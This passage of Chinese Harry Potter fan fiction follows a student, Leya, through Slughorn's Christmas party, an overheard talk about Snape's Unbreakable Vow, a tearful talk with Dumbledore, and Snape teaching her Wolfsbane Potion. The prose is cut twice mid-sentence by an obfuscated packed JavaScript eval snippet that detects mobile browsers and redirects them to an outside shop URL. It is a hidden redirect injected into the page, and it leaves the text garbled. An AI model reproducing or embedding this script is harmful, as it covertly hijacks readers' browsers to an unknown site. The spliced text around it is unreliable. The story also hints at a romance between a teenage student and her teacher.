她兀自笑得更开心,决定不再说话,认真地给赫敏编头发。 “话说,你真的谁都没邀请啊?”赫敏倒是兴致昂昂地打听了起来。 “阿嚏——”蕾雅盘好她的编发,终于没忍住,打了个喷嚏,连忙用手按住鼻子,“哎哟。” “算了,我看你就是邀请了也没机会跟他在槲寄生下浪漫了。”赫敏笑着看她,打趣地说道,随后给她递来了一张纸巾,“带个披肩吧,蕾雅。” ——槲寄生下浪漫就算了,去年可是在魔药学办公室里“浪漫”过了。 想起那张冷峻阴沉的脸和他身上苦涩的药味,蕾雅不由得让自己本来就发烫的脸更热了。 蕾雅接过纸巾,擤了擤鼻子,嘟囔道:“谢谢。”随即走到衣柜前,翻出一条织棉披肩拢上。 “快走吧,等下迟到了。我跟麦克拉根约了八点呢。“ 两个人刚走到公共休息室里,“阿嚏——”蕾雅又打了一个喷嚏,正好引得前面换上了一身绒布西装的哈利回过了头。而休息室的另一边,角落里正在亲热的罗恩和拉文德也抬起头来看向她。 还没等哈利开口,赫敏就狠狠白了一眼角落里的两人,轻声对蕾雅说了句“等下见”,头也不回地跑出了公共休息室。 哈利目送了赫敏的离开,朝蕾雅走了过来,问道:“感冒还没好?” 他的脸上是大片难掩的喜悦,咧到嘴边的笑容跟这公共休息室里热闹的圣诞节花圈一样灿烂。 那是肯定的。西里斯·布莱克的初步裁决已经刊登在今天的《预言家日报》上。 食死徒之一的虫尾巴,在十一月中旬被傲罗唐克斯逮捕于伦敦翻倒巷的一家酒馆外。逮捕后,虫尾巴在第一晚的审讯中已将戈德里克山谷的事件交代清楚。虽然他当天晚上就被发现以假手掐断了自己的喉管,死因蹊跷。 也因此,魔法部没能问出更多黑魔王的情报,但还是得到了足够的证据以证明布莱克的清白。 这不用说,蕾雅知道都是斯内普和邓布利多安排好的计划。 蕾雅看着哈利高兴得像个三岁拿到魔法扫帚的孩子,也替他开心。从今往后,他都可以安心地跟布莱克住在一起,而布莱克也可以光明正大地站在哈利身侧了。 “快好了吧。走吗?”蕾雅用力吸了一下鼻子,目光落在茶几上的一盒纸巾上面,决定还是顺手牵走。 哈利颇有意思地打量着她手里抱着的一整盒纸巾,片刻之后才抽回目光对她点了点头。两个人就一起朝公共休息室的门口走去。 “玩得开心,伙计们。”罗恩从拉文德的怀里对他们挥了挥手。 出了公共休息室,哈利就开口说道:“西里斯很开心,说想圣诞节在家里办一个小型派对,希望你也可以去。” 蕾雅一愣,问道:“啊,为什么邀请我?” “毕竟,救他这个主意是你出的呀。要是那天你不跟我说,我也不会去找邓布利多,这件事到现在也不会进展得这么顺利。”哈利诚恳地说,“来嘛,也正好见见社里的大家,还有乔治他们,说不定邓布利多也会在。” “好吧。”蕾雅应道,“等我明天给爸爸写个信。” 走到门厅,一身银色亮片长袍子的卢娜已经站在那尊塞壬喷泉底下等着了。她的打扮看起来倒不像是去参加晚会,蕾雅余光扫见哈利怔了一瞬,不过很快他们就若无其事地走到卢娜身边。 斯拉格霍恩显然真心想展示他的品味。还没走到他的办公室,长廊上就已经装点满了红彤彤的大灯笼,幽暗迷离的红光将这条走廊照得愈发暧昧而梦幻。 他的办公室则更显光怪陆离。蕾雅抬头,发现自己穿行在屋顶垂下的翠绿和深红轻纱帷幔之中。帷幔之间也悬挂的大红华灯,朦胧华美的光线洒在她的头顶,掩去了些许脸上的绯红。身边站着坐着许多陌生的男巫和女巫,他们频频交头接耳,仿佛每个人都知识渊博,怡然自得。 “啊!哈利,我的孩子!” 走在前面的哈利刚一进门就被斯拉格霍恩注意到。老头子戴着一顶夸张的天鹅绒顶帽,热情地朝他们走来。哈利刚准备应对,蕾雅趁机悄悄退了好几步把自己藏在入口处的帷幔后,下一刻就看见了哈利和卢娜被斯拉格霍恩强牵着挤进人堆里。 她可不想凑这个热闹。 于是等斯拉格霍恩的身影走远后,她故意朝另一个方向走去。 “阿嚏——”她又打了个喷嚏,一路擦着鼻子走到角落。 不远处的侧柜上整齐摆放着一排精致可口的蛋糕和饮品,那里还有一个黑色身影,似乎与她有着同样的避开人群的想法。 “教授?”她揉着自己作痛的鼻子,走到他的身侧,以带着鼻音的语调轻轻开口:“没想到您也在这。” 斯内普侧过身,飞快地扫了一眼少女通红的脸颊和她手里抱着的纸巾盒。移开视线,他无所事事地晃动着手中玻璃杯里泛出光的淡黄色酒液。 “嗯。”他慢了半拍似的轻声应道,好像并不想搭理她。 蕾雅自觉闭上了嘴,沉默着站在角落里,暗自想着是否该拿点什么喝。这也许可以缓解跟斯内普一起躲在角落的尴尬气氛,也可以让那像是塞满了湿水棉花的大脑轻松一些。 她把目光放在面前各种颜色的液体上面,手还未探出去,一杯绿色的就悄然出现在面前。蕾雅讶异地偏过头,正好捕捉到黑发巫师缓缓收回手的瞬间。 “谢谢。”她轻声道谢,端起杯子低头抿了一口,是没有任何酒精的温热茶水。 啊。 她再次困惑地侧过脸看向他,但还没来得及说出任何话,斯拉格霍恩就突然出现在斯内普身后。 这位魔药学教授显然已经喝醉了,脸上的红色一路延续到了脖颈。就在这酒气里,老头子没拿蜂蜜酒的那只手迅速伸过来勾住斯内普,蕾雅眼睁睁地看着黑发巫师被拉了过去。 啊——喂。 “别偷偷摸摸的,西弗勒斯。”斯拉格霍恩洪亮地打了个吃饱喝足的嗝,又摇头晃脑地看向斯内普身后,“哦,蕾雅也在这里啊!快来!” 斯内普无奈地抽了抽嘴角,脸上更是毫不掩饰地闪过一丝不自在,但他还是顺从地走了出去,并回头瞥了她一眼。于是,她也只得跟上。 “西弗勒斯,你知道,我一直特别欣赏他们俩的魔药天赋。”斯拉格霍恩在拥挤的人群中大肆吹嘘哈利和蕾雅的魔药才能。 他旁边斯内普脸色不太好看,那双锋利敏锐的眼睛在哈利和蕾雅之间来回打量数次。正当蕾雅以为他要讽刺点什么的时候,斯内普抿紧了嘴唇。 梅林知道,哈利的魔药才能完全得益于斯内普本人的教材笔记,而蕾雅的魔药才能则得益于斯内普的课外辅导。尽管斯拉格霍恩将两人的天赋夸得天花乱坠,斯内普心里却再清楚不过实际情况。 蕾雅微笑着听着,不时尴尬地喝一口斯内普给她的绿茶。 就在这个时候,一阵骚乱从派对的另一头传来。人群被无意识地推向那个方向,只见德拉科·马尔福被费尔奇揪着耳朵从门口拖了进来。 “斯拉格霍恩教授,我刚刚发现这个男孩在走廊上游荡。”费尔奇的脸上挂满了兴奋的疯狂,仿佛在炫耀他的猎物一样得意地说道:“您给他发请柬了吗。” 斯拉格霍恩那喝醉了的神态显然是无法搞清楚状况的,他嘟哝着沉吟一阵,就准备摆手作罢了。不过斯内普的动作却抢先一步,他大步走出人群,冷冰冰地说道:“放心,我是他的院长,我会负责领他出去的。” “跟我来,德拉科。”还没等金发男孩有任何反抗,斯内普抓住马尔福的西装一角,带着他离开了斯拉格霍恩的办公室。 几乎是与此同时,蕾雅注意到了身侧哈利脸上的不自然。哈利很快地凑过头去不知道跟卢娜说了些什么,匆匆跟在斯内普的身后退出了人群。 蕾雅察觉到了一丝异常,一些思绪顺着面前的场景爬上了心头。 ——“不要跟马尔福走得太近。”父亲在信里写的。 ——“你打算让他把你杀死?”斯内普在邓布利多办公室里问的。 她皱了皱眉,将手中的茶水“咚”地一声放在小精灵的托盘上,也立刻追了出去。 “哈利!”蕾雅三步并作两步,趁哈利跨出办公室前揪住了他的衣服,“我也去。” 哈利错愕般看着她,但没有多犹豫便从口袋里抽出隐形衣,披在了两人身上。 “来。”哈利凑在她的耳边跟她说道,两个人屏住呼吸搜寻斯内普的身影。 可是走廊里谁也不在,只有十二月临近圣诞的寒风吹起雪花的声音。 唔,这感觉是? 蕾雅甚至不知道自己是真的察觉到了还只是直觉,总之就在大脑浮现出任何否定之前,她下意识扯住了哈利的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593443|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角,用右手指了指一侧的教室。哈利挑了挑眉,两人对视了一瞬,立刻把耳朵贴在了教室的门上。 果然,斯内普和马尔福就在里面,好像正在争执着什么。 “最后再说一遍!不是我干的,那个女孩跟我没有关系!你别那样看着我。”是马尔福急躁的声音,在这夜里实在是过于响亮。 “你有什么念头瞒着你的主人?嗯?”斯内普的声音倒是一如既往的沉稳,低得不可听见。 “我没有,我只是不要你插在中间。”马尔福气愤地说道。 “听我说,我对你母亲立了牢不可破誓言,就是要保护你,顺利帮你完成你的任务。”斯内普继续压着声音说,话语仿佛从牙缝中挤出。 “那恐怕你必须打破这个誓言了!我不需要你的保护!” 牢不可破誓言?那是什么? 蕾雅听得头脑晕眩,还得尽力地以手上的纸巾紧紧地捏住自己的鼻子,忍住不断想打喷嚏的冲动。这让她来不及去反应里面的人正在说什么话,只得连连看向身边的哈利。哈利也在看她,一双绿眼睛瞪得大大的,嘴角在使劲向下弯曲,表情宛如门内的德拉科般愤怒。 “你今晚的行为实在是很愚蠢,甚至没有带任何的后援。”斯内普的声音听起来是被激怒了,威迫感直逼门外的两人。 “就你这种只会演戏的假教授,你以为我会听你的话吗?”马尔福不以为然地挑衅道,让蕾雅不得不佩服他竟然有勇气这样对斯内普说话。 “如果我不会演戏,这些年我会怎么样?至少用你愚蠢的大脑想想!”斯内普越来越不耐烦,提高了音量。 室内的两个人沉默了一阵,门外的两个人也面面相觑着。空气里的只剩下四个人紧张的呼吸声。 这时,斯内普的声音又传过来了,比刚才还要冷硬许多,以逼迫的语气说道:“把你的计划告诉我。” “我不需要你帮我!我身边有别的人!”马尔福咬牙切齿地吼了起来,“你以为我不知道你想干什么吗?你想抢我的功劳!” 紧接着,不知道是谁的皮鞋重重敲在了地板上面,哈利慌忙地回过身将蕾雅推耸到一边的墙上。 几乎就是下一秒,门被大力地踹开,马尔福怒气冲冲地拐进走廊里。 趁斯内普还在教室内,哈利飞快地拉着蕾雅俯身跟着德拉科跑了出去,一路跑回了斯拉格霍恩的办公室。两人心照不宣,没有打算在这里就讨论刚才听到的内容。 “你先进去吧,卢娜还在等你呢。”蕾雅吸着鼻子跟他摆了摆手,“我透透气。” 哈利迟疑了一瞬,最终还是点了点头,重新走向些红绿交织的帷幔。 等他走了以后,“阿嚏——”蕾雅在走廊上打了一个很响亮的喷嚏。 她赶紧擦了擦有些脱皮的鼻子,再揉了揉发涩的眼睛。太阳穴在突突地跳着,大脑重得好像灌了水,身体也逐渐发冷,幸好赫敏早早提醒她带上了一条披肩。 她将自己紧紧裹在披肩里,回想刚才给赫敏编辫子的时候,脑袋还没有这么疼——唔,刚看见斯内普时也没有。想到这里,她忽然觉得没有再回到斯拉格霍恩的晚会的心情了。 走廊里灌满了凌冽的寒风,拱券之外就是茫茫的雪夜。她在这萧瑟无人的空间里犹豫着。 这时,一阵沉稳的脚步声从走廊的另一端传了过来。她知道是斯内普。 她刚想转身跟他打招呼,一阵很细微的魔力悄然包裹了她。身上刺骨的寒意迅速退去,取而代之的是一股温热,渐渐从肌肤上蔓延至全身。 她的黑魔法防御课教授大步走来,刚收回魔杖的手从外套口袋里抽出,脸上依旧是那副一如既往的平静内敛神色。好像他没有做过什么,也好像他与德拉科的事情亦从未发生过。 “感冒了就早点回去。” 啊。她反应过来,是温暖咒。 “……谢谢您。”蕾雅心里微微一动,点了点头。 走廊上方的灯笼发出暗红的光芒,也发出了炽热的温度,这些都一并正正地落到了她的脸上。她垂下脑袋,与他擦身而过,走向了格兰芬多塔楼的方向。 回到公共休息室后,蕾雅洗了个热水澡,发现哈利和赫敏仍没有回来。她背着仍在墙角靠在一起的罗恩和拉文德,裹起厚厚的羊毛毯蜷缩在壁炉前的沙发上,手里捧着一杯热南瓜汁取暖。 鼻子依然堵得难受,她吸了几下鼻子,思绪却不由自主地飘回了刚才德拉科和斯内普的一幕。 她当然知道马尔福的任务是要杀死邓布利多,而邓布利多希望由斯内普来结束自己的生命。 然而,牢不可破誓言意味着什么?斯内普为什么要立这样的誓言? 在巫师界,发誓可不是一件轻松的事情。所有的誓言通常都伴随着沉重的违约代价。 她小心地用纸巾捂住了鼻子,另一只手轻揉着疼痛的额角。 这时,一个低年级的学生钻进了公共休息室,走到她面前,打断了她的思索。 “莱恩哈特学姐,有人放在外面给你的。” “啊?”蕾雅愣了愣,从毛毯里伸出手去接过来一个白色的盒子。 她认得出来,这是今天早上给斯内普送去的那个盒子。只是现在上面潦草地写着“莱恩哈特”。 唔。该不会是他终于把我送的东西退回来了吧。 她已经设想过一百次他会这么做,倒不如说,这么做才符合斯内普的性格。 她长叹了一口气,歪着沉重的脑袋打开了盒子。 是一小瓶墨绿色的魔药,除此之外,什么也没有。 她将魔药拿起,拔开软木塞,闻到了一股苦涩而又芬芳的山椒气味,她即刻就分辨出了是提神剂。 蕾雅转着小瓶子看了一阵,唇上不自觉地牵起了一个细微的弧度,而后慢慢地把它全部喝掉。 耳朵蓦地冒出了白茫茫的蒸汽,随后,药效带来的灼热感让她感觉全身开始出汗。 趁着这股暖流产生的困倦感,她早早钻进了床铺。 睡前的最后一秒钟,她才想到——这算是圣诞礼物吗? 但谁会把感冒药当成圣诞礼物送给别人啊? 34. 狼毒药剂 幸亏斯内普送来的那瓶药,蕾雅的感冒在第二天就完全痊愈了。 接下来的两天里,哈利一直在和他们讨论斯内普要帮助马尔福的事,以及那令人不安的“牢不可破誓言”——一旦违背,代价就是死亡。 而斯内普要帮助马尔福“完成”的那件事,蕾雅不用猜也了然于心。 马尔福的任务是杀死邓布利多。 斯内普要替马尔福杀死邓布利多。 可是,她明白,斯内普并不想邓布利多死去,他还在拼命地研制着魔药,想要找到其他的办法。 那么,违背誓言的代价—— 每每想到这里,她心中就涌出一股浓重的苦涩,迫使她兀自打断了自己的思绪。 蕾雅不能继续往下细想,这也根本跟邓布利多一开始告诉她的计划不一样,完全不一样。 …… 等到去格里莫广场参加圣诞节晚宴的那天,蕾雅仍然时不时回想起那晚的事情。 不过,晚宴总是能让人短暂地逃离现实,特别是桌上的来宾都是热情之人的时候。 这是一栋复古而优雅的房子,而布莱克的优雅与斯拉格霍恩的截然不同,是一种亲切而自然的高贵,仿佛这种气质从血脉中流淌而出。 ——笑声,交谈声,音乐声,优雅的酒红色餐布衬着上了蜡的黑木家具,餐桌上的三叉蜡烛发出耀眼的亮光。长桌上摆满了韦斯莱夫人准备的各种食物,大家聚在一起帮忙调整桌上的摆设和酒杯。 蕾雅在布莱克家长长的晚餐桌上结识了许多陌生却友好的面孔。布莱克先生、韦斯莱一家、魔法部的唐克斯和金斯莱——他们大多数都认识她的父亲,因此她几乎立刻就感到自己被这个大家庭接纳了。 邓布利多没有来,但大家说他可能会晚点到。而重新见到卢平教授和乔治、弗雷德也让蕾雅感到十分高兴,他们热情地与她寒暄了好一会儿。 哈利更是如此,他已经开始住在格里莫广场了,这让他觉得这是世界上最幸福的事情。 赫敏和罗恩依然在闹别扭,所以整个晚上没有被拉着交谈的时间里,蕾雅不得不一直陪着看起来糟糕透顶的她。 温馨而美味的晚宴结束以后,蕾雅跟赫敏、金妮一起睡在布莱克家一个大卧室里,聊着八卦。 十六七岁的小姑娘们聚在一起还能有什么聊呢?大部分自然都是感情的事。 她们先以混蛋罗恩哈利作为开场白,然后聊到了金妮和迪安,聊到了赫敏的前任。聊着聊着,不知道为什么,话题转到了蕾雅这里。 “话说,你真的不打算谈个恋爱吗?”金妮一如既往地开门见山,直截了当地问道。 “我倒是怀疑她还没开窍。”还没等蕾雅开口,赫敏已经忍不住笑了起来。 “不过也是,哪个小男孩能招架得住你爸爸。”金妮笑得眉眼弯弯,“哎哟,蕾雅小姐要孤独终老咯。” “喂,你俩!”蕾雅迅速伸手,越过躺在中间的赫敏,狠狠地拧了一把金妮的腰。 “哎你敢掐我!”金妮大叫一声,随即三个人在布莱克家的床上打闹起来,滚来滚去,翻得床单都乱了。 “好啦,小声点,别人还在睡觉呢。”赫敏忍住笑,轻声制止了她们两个。 接着,她们聊起了那些混蛋男生,以及学校里谁给谁灌了迷情剂的趣事。不过,这段谈话没持续太久,很快,身边的两位姑娘就开始发出均匀的呼吸声,沉沉地睡去了。 恋爱吗? ——这对她来说,已是不敢奢想的事了。她现在唯一的愿望,就是让那个人活下来。 蕾雅翻过身去,背对着赫敏,透过窗帘缝隙,她看见外面又开始飘起了夜雪。今晚的夜空笼罩在一片蓝紫色的微光中,雪花一点点擦过对侧那辨认不出颜色的公寓外墙,安静地在小巧的阳台上堆积了起来。她看了一会儿,还是毫无睡意,于是决定还是起身去楼下给自己倒点热牛奶。 轻手轻脚地掀开被子,她拿起搭在床尾的毛衣,轻轻带上了卧室的门。 显然,今夜的布莱克家里,只有孩子们会这么早入睡。 蕾雅光脚拐过走廊,还没踏上楼梯,细微谈话声音就从楼下传了上来。她好奇地靠上前去,悄悄地蹲在了栏杆后面听了起来。 “虽然邓布利多说,是因为神秘人想重新招揽他,那天虫尾巴才去找他的。”是布莱克的声音,急躁地说着,“谁知道是不是真的?说不定他才是凤凰社里的叛徒。” “好啦,我明白你的顾虑,西里斯,”是卢平的声音,“但别忘了,正是他的帮忙,才让我们抓到了虫尾巴。不管怎么说,这也帮你洗清了冤屈。” “这并不会打消我对他的怀疑,虫尾巴的死太蹊跷了。”布莱克冷哼一声,把话题一转,“对了,他药还没熬好?” “快了,今天他来得晚。”卢平答道,过了一阵,补充道:“可能因为这些小细节,我会倾向于相信他。” “我还是觉得,他这么做只是因为邓布利多的要求。你看得出来,他心里有多不情愿。”布莱克依然难以赞同,提高了些音量争辩道。 “别太大声,孩子们都睡了。”卢平温和地提醒着。 接着是一阵远去脚步声,蕾雅晃了晃脑袋,不太确定自己刚刚听到了什么,不过她也没多想,继续准备下楼去厨房倒点热牛奶。 厨房是亮着灯的,蕾雅以为是布莱克家的小精灵克利切还在里面忙碌,但推开门,坐在里面的竟然是邓布利多。 校长正悠然自得地挖着一碟装饰精美的圣诞布丁,手边还放着一份晚宴上留下来的烤鸡和黄油土豆。 “啊……”蕾雅没想到撞见这一幕,大脑变得一片空白,不知道该不该跟他打招呼。 “噢,蕾雅。”邓布利多却反应很快,微笑着向她摆了摆手,“肚子饿了?要不要来一份圣诞布丁?莫莉做得真好吃。” “呃……”蕾雅还没从这幅校长在大口吃着布丁的画像里回过神来,过了一阵才说:“不用了,我就想喝点牛奶。” 邓布利多向她点点头,慈祥地看着她走到餐台上面翻出一个玻璃杯子倒入了牛奶。还没等她伸手拿起杯子,老巫师已经迅速挥了挥魔杖,将牛奶变得温热。 “谢谢您。”蕾雅朝他微微一笑。 邓布利多继续挖了一勺布丁,脸上露出了满足的神情,但眼睛却始终没有离开过少女的身上。 “睡不着?”邓布利多安抚般问道,他的声音仿佛带着一种让人不由自主地开口倾诉的魔力,“最近我没怎么在学校里,是发生了什么事吗?西弗勒斯有没有什么没告诉我的?” 蕾雅倏地抬起头,迎上了着邓布利多的目光。 有时候,她真的怀疑邓布利多是不是拥有某种先知的能力,或者说,他本身就是梅林派来的先知。 她的脸色难堪地吞下了一大口牛奶,温热香甜的液体滑入喉咙,但却让心里感觉更凉了。 她再度垂下头,似乎不敢面对那双能够看穿一切的蓝眼睛,害怕那种慈爱的目光会看穿自己心里所有的烦恼。 “憋在心里是很难受的事。”邓布利多笑了笑,声音是那样的和蔼可亲,“不过如果你不想说,我不会强求。如果你愿意说,我会跟你一起想想办法。”邓布利多调皮地眨了眨眼。 蕾雅的头垂得更低了,她不知道为什么邓布利多总是可以如此从容地面对一切同时宽慰他人,明明他肩上的负担比她所面临的这些事要重得多。 她的视野里仅有邓布利多和斯内普,而邓布利多所见的,却是整个棋局。 她犹豫了一会儿,抿了一口牛奶,竭力斟酌着自己的话语。 “先生,您知道他不想您逝去吗。” “当然,”邓布利多微笑着回应,“你不知道我最近喝了多少种颜色的药。”他像是在开玩笑,笑容依旧那样温暖。 蕾雅被他的话逗得笑了一下,但笑容很快消失了。她握紧手中的玻璃杯,以极小声的声音说:“那,您知道他立了牢不可破誓言吗?和马尔福的妈妈……”讲到句末,少女的声音颤抖了起来,似是在哽咽。 邓布利多维持着笑容。他瞬间就清楚是怎么一回事了,也明白过来为什么眼前的少女如此垂头丧气。邓布利多知道她一向心思缜密,肯定是察觉到了接下来邓布利多和斯内普不可能同时存活。 邓布利多探出那只完好的左手,拍了拍她的后背。 “放心,他会活下来的。”他轻松而干脆地说道。 少女的肩膀抖动了一下,心里堪堪满溢的潮涌,被老巫师简短的话语轻轻一拨,瞬间决堤。 她觉得他宛如一位仁慈明察的佛陀,安详坚定地穿越过黑暗与荆棘,口中所述的皆是已然洞察明了的天意。 蕾雅的泪水开始止不住地滑落,愈来愈多,像无声滂沱的大雨。她不得不用一只手捂住自己的脸颊,但那些温热的液体却固执地从指缝间涌了出来。 “我跟他去找过那些魔药材料,先生。他每一天、每一天都在翻着不同的资料,他的墙上贴满了笔记……”她竭力控制着自己的声音,但豆大的泪珠正一滴滴落入手中的牛奶里,“我……我以为,您和他,都能活下来。他那么努力,找了那么多那么多的办法……我不理解……” 邓布利多感觉自己的内心被深深触动,那双湛蓝的眼睛里泛起了无数的涟漪。 如此,如此真挚的情感。 他多想,自己能真的像天父、或者佛陀,能将这些孩子的纯真永远庇护在霍格沃茨密不透风的城堡里面。 然而,他深知,即使是最聪明的巫师,也不过是一介凡人,且他自己的命运早已注定。 他轻微摇了摇头,再度带上了笑容,说道:“蕾雅,好孩子。告诉我,你知道战争意味着什么吗。” “……有人会受伤,有人会死去。”她呜咽着回答,这句话她的父亲曾告诉过她。 “是的,你说的都对。战争,还意味着有人得做出许多不得已的决定。世间从来难得两全之法。如果有能周全的办法和更好的措施,我当然不会不选,你心里明白,对吗?” 蕾雅抬起泪汪汪的眼眸直视着这位校长。老巫师看透她心中的思绪,轻轻地点了点头,肯定了她心里的想法。 她明白的。她知道自己正是邓布利多为斯内普准备的“周全办法”,也是他用尽全力、算尽万策后留给他们的一份伟大无垠的慈爱。 泪眼模糊中,她望向那双仿佛蕴含着生命万物的湛蓝眼眸,邓布利多的软帽上还沾着寒夜的风雪,他的右手已然枯黑如死木。可是他从未为自己考虑过。他尽力成全所有人,唯独忽略了他自己。 她哭得更厉害了。 为什么这个世界上要有这样难过的事情?明明斯内普已经在努力了,可他做的一切都是徒劳,邓布利多已决定自己会死去,没有否则。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593444|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 邓布利多安静地陪着她,直到少女的哭声渐渐弱了下去。他知道她心如明镜,终究会明白这一切的无奈。 “我现在得回学校了,麦格教授还在等我,蕾雅。”等她喝完了牛奶,邓布利多再次轻柔地拍了拍她的肩膀,说道,“如果你还是睡不着,不妨到一楼走廊尽头的房间待一会儿,那里能让你静下心来。” 蕾雅顺从地点点头,默默地将杯子洗净放好。 “噢,如果有人问起你,记得说你是在梦游。”邓布利多笑着眯了眯眼睛。 蕾雅疑惑地擦了擦自己的眼眶,最终还是冲邓布利多露出一个浅浅的微笑,轻声道了晚安,然后离开了厨房。 她当然没有回自己的房间,心知即使回去也难以睡着。于是,她顺着邓布利多的话,穿过了那挂着许多珍贵名画的长廊,来到了一楼尽头的房间。 房间的门微微开着,从里面透出暖黄色的灯光,有很轻微的坩埚沸腾声音,一股陌生的魔药气味从房内弥散开来。 蕾雅的脚步顿住,呼吸仿佛在那一瞬间被夺走,因为她已经看见了门缝后那个熟悉的身影。 啊—— 她不知道他也在这里,也不知道为什么邓布利多让她来找他。 愣在门口,蕾雅犹豫着,觉得也许还是不要打扰他为好。 就在她准备转身离开的时候,门突然被拉开了一些。 “唔?莱恩哈特?”斯内普有些错愕地看着站在门口的少女。 少女重新忐忑着转回身去,他一眼就看见了那双泛红的翠绿眼眸,眼角下还有点点透亮的泪痕,嘴唇上却是一圈白色的痕迹,似乎是牛奶。她披着一件酒红色的针织厚毛衣,里面是一件单薄的纯白睡裙,而她的光脚已经冻得通红。 他皱起了眉毛,不动声色地撇开了目光。 “噢,对不起……先生,我梦游了。”蕾雅茫然地喃喃道。 “梦游?”斯内普眼睛眯成了一条缝,冷笑一声,“那我猜你一定是梦游到厨房,还喝了牛奶?” “唔。”少女怔了怔,很快就不好意思地抬起手来用衣袖擦了擦嘴。 “好了,没事不要在别人家里瞎晃悠。”斯内普漠然地说道,“回你的寝室去睡觉。” “我睡不着……” “我想我没有义务替学生烦恼这种问题,不是吗?”斯内普漫不经心地回应道。 “嗯,您说的对。”她的眼睛暗淡了一瞬,声音也渐渐低了下去,准备再次回过身去。 可是她突然听见背后有一声很轻的叹息,随后又听见他说道:“既然睡不着,就过来帮我处理药材。” 斯内普大步走向壁炉旁,默不作声地以魔杖将几块木炭投进了火焰中。然后,蕾雅看见他用魔杖轻轻一挥,将一块地毯移到了放着坩埚的桌下。 “还有,我不知道你这是什么习惯,你不会以为布莱克家的地板很干净吧?我很惊讶你竟然没踩到木刺。”斯内普回过身,带着嘲讽的语气说道。 “怕吵醒赫敏她们,就没穿鞋。”蕾雅尴尬地说道,下意识用手摸了摸自己稍稍冰凉的鼻尖。 她走到他身边,踩在柔软的地毯上面。温柔细腻的触感从脚下传来,而自己的身体也被室内的热气烤得有点暖,刚刚紧绷在心里的雾霾仿佛逐渐消散开了。 她低头看见了桌子上的一锅深紫色的液体,正在发出低沉的咕噜声,飘散出来一种混合了苦艾和龙蒿的刺鼻气味。坩埚的另一侧,放着一把干燥的狼毒花。 “先生,您在做狼毒药剂?”她问。 “是,”斯内普将一个研钵放在她的面前,指了指那把干花,说道:“花瓣碾碎,枯叶不要。” “好。”她挽起袖子去拿那束花。 “围裙。”斯内普打断了她的动作,随手递过来一块布料。 蕾雅安静地接过,系上围裙就开始专心处理手中的干花。她小心翼翼地分开那些纠缠在一起的花穗,细致地剪去枯黄的叶片,再将花瓣放入研钵,一下下地碾碎。 就这么简单而枯燥的工作,却的的确确让她心里平静了下来。 邓布利多,果然如同先知一般。 然而,这房间的桌子实在太小了,他们不得不挤在一起处理这些药材。有好几次,她都感觉到斯内普搅拌坩埚的手臂不小心碰到了她。 壁炉的光懒洋洋地洒在他们身侧,变幻跃动着的暖光柔和地勾勒出少女的侧脸,也让她的耳根染上了淡淡的绯红。 “别发呆。”斯内普反手叩了叩桌子,“好好看着,我后面会教你。” “您会教我?!”少女瞬间惊讶地抬眸望去,“狼毒药剂这么难的药剂,我不一定……” “对自己有点信心,莱恩哈特。”斯内普冷硬地瞥了她一眼,伸手顺过她手里的研钵。他将那些被她细细碾碎的花瓣分三次撒入了坩埚里面,捻起搅拌棍开始以逆时针划开。 坩埚中的液体逐渐变成一种深蓝色,他放下研钵,平静地开口道:“这里需要另一个能熬制狼毒药剂的人。” 她听出来了他是在暗示着自己的离开,但他脸上那种不以为然好像在说他并不在乎这件事一样。 “所以,我会教你。”他又说。 她看着他,认真地点了点头。 他凝视着少女清亮绿眸,心中又默想到: 我还会教你很多其他的东西,仅仅是为了做好万全的对策。 35. 海 最近,越来越多的人在死去。 他们时常死在阴森的走廊里,或死在庄园的长桌上,更多时候,死在不为人知的角落中。 今天,又一个人死了。这次,死在了他面前。 也不是第一次了。 斯内普坐在那里,脸上平静得没有任何一丝感情,双眼空洞而抽离,像在看一场演得拙劣的舞台。 他们做错了什么呢?他不知道,也许是因为一句错误的话,也许只是因为他们生在了错误的时间、错误的地点。 他在面无表情地看这些人是无辜地被碾成战争里的碎屑。 他对自己说,很快,你亦是他们之一,是自己曾经无力拯救袖手旁观的人里的一分。 这一点清醒或许将他和场上大部分魑魅愚笑、狂妄自大的食死徒区分了开来,但他心底明晰,他或他们,其实没有任何的不同。 ——“我和他们,又有什么不同呢?” 莉莉·伊万斯的声音仿佛从深海之底飘了上来,烦扰了他。 是的,他仍在烦扰,为邓布利多,为马尔福,这种状态持续了许久。他无法参透全局,他觉得自己像在大雾迷茫的黑夜里独自迷路,就是挣扎叫喊也不会有任何的救援。 幸好人总是有足够多的自我麻痹办法。有的人沉迷在酒精,有的人沉迷在du/品,有的人,选择让自己忙碌。 马尔福庄园的戏满离场后,斯内普没有回蜘蛛尾巷,而是直接回到了霍格沃茨的办公室里。 他仔细地备完了下学期的课,又从翻倒巷斥重金买了一柜子的古书。办公室里的坩埚和材料正在堆积,他也已然排好了她下学期的训练。 他想着所有一切自己能做的事,不停地工作着,直到花光所有能够思考和失眠的时间。 刚刚完成一锅药的熬制,一只胖嘟嘟的白脸角鸮正飞来,停在了斯内普的窗前。他扫了一眼便打开了窗,对这只鸟已经很熟悉了。他伸手将绑在鸟儿右脚上的包裹取了下来,又喂了它一些谷物和肉碎。 一个谨慎捆起来的小邮件。拆开包装纸,里面有一个麻瓜制的纸皮盒子,底下放着一张明信片。 